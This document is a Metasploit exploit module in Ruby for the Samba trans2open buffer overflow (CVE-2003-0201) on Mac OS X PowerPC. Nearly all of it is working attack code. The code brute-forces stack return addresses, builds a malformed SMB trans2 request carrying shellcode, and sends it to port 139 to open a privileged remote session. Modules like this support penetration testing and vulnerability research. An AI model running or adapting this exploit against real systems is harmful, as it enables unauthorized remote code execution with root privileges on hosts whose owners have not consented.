Samba trans2open Overflow (Mac OS X)

`##  
# $Id: trans2open.rb 7724 2009-12-06 05:50:37Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::SMB  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Samba trans2open Overflow (Mac OS X)',  
'Description' => %q{  
This exploits the buffer overflow found in Samba versions  
2.2.0 to 2.2.8. This particular module is capable of  
exploiting the bug on Mac OS X PowerPC systems.  
  
},  
'Author' => [ 'hdm' ],  
'Version' => '$Revision: 7724 $',  
'References' =>  
[  
[ 'CVE', '2003-0201'],  
[ 'OSVDB', '4469'],  
[ 'BID', '7294'],  
[ 'URL', 'http://www.digitaldefense.net/labs/advisories/DDI-1013.txt'],  
  
],  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
'MinNops' => 512,  
  
},  
'Platform' => 'osx',  
'Arch' => ARCH_PPC,  
'Targets' =>   
[  
['Stack Brute Force', { 'Rets' => [0xbffffdfc, 0xbfa00000, 512] } ],  
  
],  
'DisclosureDate' => 'Apr 7 2003',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(139)  
], self.class)  
end  
  
# Need to perform target detection  
def autofilter  
false  
end  
  
def exploit  
curr_ret = target['Rets'][0]  
while (curr_ret >= target['Rets'][1])  
break if session_created?  
begin  
print_status("Trying return address 0x%.8x..." % curr_ret)  
  
connect  
smb_login  
  
# 1988 is required for findrecv shellcode  
pattern = rand_text_english(1988)  
  
# This stream covers the framepointer and the return address  
pattern[1195, 64] = [curr_ret].pack('N') * 16  
  
# Stuff the shellcode into the request  
pattern[3, payload.encoded.length] = payload.encoded  
  
trans =  
"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+  
"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+  
"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+  
pattern  
  
sock.put(trans)  
handler  
disconnect  
  
rescue EOFError  
rescue => e  
print_status("Caught exception: #{e}")  
break  
end  
curr_ret -= target['Rets'][2]  
end  
end  
end  
`